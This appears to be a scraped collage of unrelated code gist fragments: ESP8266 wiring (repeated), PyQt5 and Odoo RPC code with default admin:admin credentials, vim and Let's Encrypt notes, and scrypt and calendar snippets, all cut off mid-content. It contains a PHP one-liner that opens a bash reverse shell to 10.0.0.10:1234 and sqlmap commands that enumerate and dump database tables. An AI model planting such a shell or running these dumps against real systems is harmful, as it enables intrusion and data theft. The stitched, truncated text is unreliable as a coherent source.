How to flash your ESP8266 without a USB-Serial adapter but with an Arduino.
First be sure everything is connected correcly:
Arduino | ESP82666 |
---|---|
TX | RX |
RX | TX |
GND | GND |
GND | GPIO-15 |
from PyQt5.QtWidgets import QSlider, QDialog, QLabel, QHBoxLayout | |
from PyQt5.QtCore import Qt, pyqtSignal | |
class Slider_Dialog(QDialog): | |
changedValue = pyqtSignal(int) | |
def __init__(self): | |
super(Slider_Dialog, self).__init__() | |
self.init_ui() |
from PyQt5.QtWidgets import QApplication, QMainWindow, QDialog, QHBoxLayout | |
#from PyQt5.QtCore import SIGNAL | |
from Koo.Rpc import Rpc | |
from Koo.Common import Api | |
from Koo.Common import Localization | |
Localization.initializeTranslations() | |
from Koo.Dialogs import WindowService | |
x = Rpc.session.login('http://admin:admin@localhost:8069', 'test_1519123854') |
How to flash your ESP8266 without a USB-Serial adapter but with an Arduino.
First be sure everything is connected correcly:
Arduino | ESP82666 |
---|---|
TX | RX |
RX | TX |
GND | GND |
GND | GPIO-15 |
<?php | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs
# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
Disable vim automatic visual mode on mouse select | |
issue: :set mouse-=a | |
add to ~/.vimrc: set mouse-=a |
This document details how I setup LE on my server. Firstly, install the client as described on http://letsencrypt.readthedocs.org/en/latest/using.html and make sure you can execute it. I put it in /root/letsencrypt
.
As it is not possible to change the ports used for the standalone
authenticator and I already have a nginx running on port 80/443, I opted to use the webroot
method for each of my domains (note that LE does not issue wildcard certificates by design, so you probably want to get a cert for www.example.com
and example.com
).
For this, I placed config files into etc/letsencrypt/configs
, named after <domain>.conf
. The files are simple:
import struct | |
from binascii import b2a_base64 as e64 | |
from binascii import a2b_base64 as d64 | |
import scrypt | |
import Crypto.Random | |
random = Crypto.Random.new().read | |
from passlib.utils import consteq | |
_PARAMS = struct.Struct("!BBBB") |
from electrical_calendar.electrical_calendar import REECalendar | |
from datetime import datetime | |
#logging.basicConfig(level=logging.DEBUG) | |
ree_cal = REECalendar() | |
# Get all holidays for 2016 | |
print ree_cal.holidays(2016) |